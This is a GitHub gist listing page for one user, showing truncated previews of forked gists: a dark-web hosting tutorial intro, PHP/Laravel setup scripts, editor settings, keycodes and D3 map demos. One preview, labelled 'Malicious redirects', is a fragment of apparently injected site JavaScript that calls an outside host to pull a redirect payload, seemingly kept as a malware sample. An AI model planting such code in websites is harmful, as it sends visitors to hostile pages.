Skip to content

Instantly share code, notes, and snippets.

@farhan4648gul
farhan4648gul / Create website in darkweb.md
Created December 24, 2024 14:45 — forked from 98lenvi/Create website in darkweb.md
steps to host dark web website

Create your own site in the dark web.

There is a lot of misconception around the dark web, and most of the people think that it is not possible to create their own website on Dark web (The Onion network). Today we will set up a website in the Onion/Tor network for free.

Screenshot of my dark website

As you can see above, I have created my own website in the Tor network, and I've accessed it using the Tor Browser.

This tutorial consists of three steps

@farhan4648gul
farhan4648gul / sk-jspark_init.php
Created February 14, 2024 20:21 — forked from magefix/sk-jspark_init.php
Malicious redirects
(function() {
if(!window._skz_pid)
return;
try
{
this._hlpr = function(){
return {
url : "//freeresultsguide.com/sk-jspark.php?",
params : {
@farhan4648gul
farhan4648gul / enable-xdebug.sh
Created September 19, 2023 13:18 — forked from Tuurlijk/enable-xdebug.sh
phpbrew 5.5.32 xdebug installation
#!/bin/bash
#
# We need to re-build the php version because we removed it when compressing the box.
#
# In a newer version . . . I can pre-build the xdebug module when building the box, but 'disable' it by default.
# This can also be done for other common modules.
source /etc/profile.d/phpbrew.sh
phpbrew use php-5.5.32
// for suite project
// File Contents are below:
{
"folders": [
{
"path": "SuiteCRM-Core"
},
{
// File Path: ~/.config/Code - Insiders/User/settings.json
// File Contents:
{
"workbench.colorTheme": "Visual Studio Dark",
"editor.guides.bracketPairs": true,
"vsApachePhpLogNotifier.logFilePath": "/var/log/apache2/error.log",
"workbench.editor.wrapTabs": true,
"diffEditor.ignoreTrimWhitespace": false,
@farhan4648gul
farhan4648gul / keycode.linux
Created July 5, 2023 19:33 — forked from rickyzhang82/keycode.linux
Key code for Linux
# /usr/share/BasiliskII/keycodes
#
# Basilisk II (C) 1997-2005 Christian Bauer
#
# This file is used to translate the (server-specific) scancodes to
# Mac keycodes depending on the window server being used.
#
# The format of this file is as follows:
#
# sdl <driver string>
@farhan4648gul
farhan4648gul / .block
Created June 21, 2023 17:50 — forked from mbostock/.block
Zoomable Map Tiles
license: gpl-3.0
redirect: https://observablehq.com/@d3/zoomable-map-tiles
@farhan4648gul
farhan4648gul / README.md
Created June 21, 2023 17:49 — forked from dwtkns/README.md
Slippy map + extent indicator
@farhan4648gul
farhan4648gul / scanDir.php
Created April 3, 2023 09:46 — forked from mexitek/scanDir.php
Run this PHP script via command line and see all the directories with contents over 1 KB.
<?php
// Base directory is where you run the script from
$currentDirectory = '.';
// Get all contents, minus pointers to . and ..
$baseLevelContents = array_diff( scandir( $currentDirectory ), array('..','.') );
// All directories
$baseDirs = array_filter( $baseLevelContents, "is_dir" );
@farhan4648gul
farhan4648gul / Laravel_Global_Installer.sh
Created June 13, 2022 08:41 — forked from tmsperera/Laravel_Global_Installer.sh
Laravel Global Installer (Including PHP, Composer and PHP extensions)
#!/bin/sh
sudo apt-get update && apt-get upgrade
sudo apt-get install php
sudo apt-get install php-pear php-fpm php-dev php-zip php-curl php-xmlrpc php-gd php-mysql php-mbstring php-xml libapache2-mod-php
EXPECTED_SIGNATURE="$(wget -q -O - https://composer.github.io/installer.sig)"
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
ACTUAL_SIGNATURE="$(php -r "echo hash_file('sha384', 'composer-setup.php');")"